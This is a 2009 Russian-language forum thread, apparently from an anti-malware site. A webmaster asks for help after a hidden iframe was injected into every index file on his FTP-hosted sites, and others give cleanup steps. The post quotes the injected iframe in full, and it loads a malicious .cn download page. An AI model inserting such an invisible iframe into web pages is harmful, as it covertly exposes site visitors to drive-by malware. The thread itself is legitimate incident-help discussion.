-
Junior Member
- Вес репутации
- 56
Вирус взломал сайт, помогите побороть его =)
Я держу несколько сайтов на одном ftp аккаунте, неожиданно для меня некоторые сайты перестали работать а некоторые со всплывающим окном типа скачай чето там, на которую ругается NOD32, проверив структура сайта я заметил то что во все index.php и index.html вставился такой код <iframe src="http://litedownloadseek.cn/in.cgi?cocacola3" width=1 height=1 style="visibility: hidden"></iframe>
Один из сайтов у меня на Джумле где в каждом модуле есть index.html покопаться пришлось прилично, но прошло около суток и опять, сменил фтп пароль заново исправляю index.html, но я так думаю что нифига из этого не выйдет,NOD32 вирус не находит, обновляется регулярно помогите удалить этот вирус с компьютера, где он может находится, или посоветуйте какуюнить прогу для отслеживания системы.
для примера адрес сайта: http://rnr-music.ru
(еще не все индексы переправил так что можно посмотреть на действие этого червя, З.Ы. А вот уже на него НОД32 ругается)
З.Ы. Извиняюсь раздел перепутал, вы не удаляйте пожалуйста, перенесите =)
Последний раз редактировалось Шмурзилка; 08.01.2009 в 13:25.
-
Будь в курсе!
Будь в курсе!
Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:
-
Последний раз редактировалось zerocorporated; 08.01.2009 в 08:51.
Причина: Добавлено
-
-
-
-
Junior Member
- Вес репутации
- 56
в том то и фишка что вирус который с сайта грузится антивирусами опознается а тот вирус который это все в сайты пихает нет
-
У них по этим лже-антивирусам есть целая шарашкина контора, сайт, у меня где то есть скрины с их взломанного сайта (откуда то скачивал, не помню 
), целая система, с базами данных, для спамеров, адресами сайтов, сколько денег у кого заработано и т.д. и т.п.
-
-
Сообщение от
Шмурзилка
в том то и фишка что вирус который с сайта грузится антивирусами опознается а тот вирус который это все в сайты пихает нет
Ссылку на правила раздела помогите я уже дал. Там ваш ПК вылечат.
Последовательность действий такая:
1. Вылечить свой ПК.
2. Сменить пароль на админ панель сайта (Остальные тоже желательно поменять, включая почту...)
3. Восстановить сайт из резервной копии или проверять его вручную/антивирусами...
-
-
Ответить с цитированием
На вторую строчку внимания обратите... сам себя сдал 
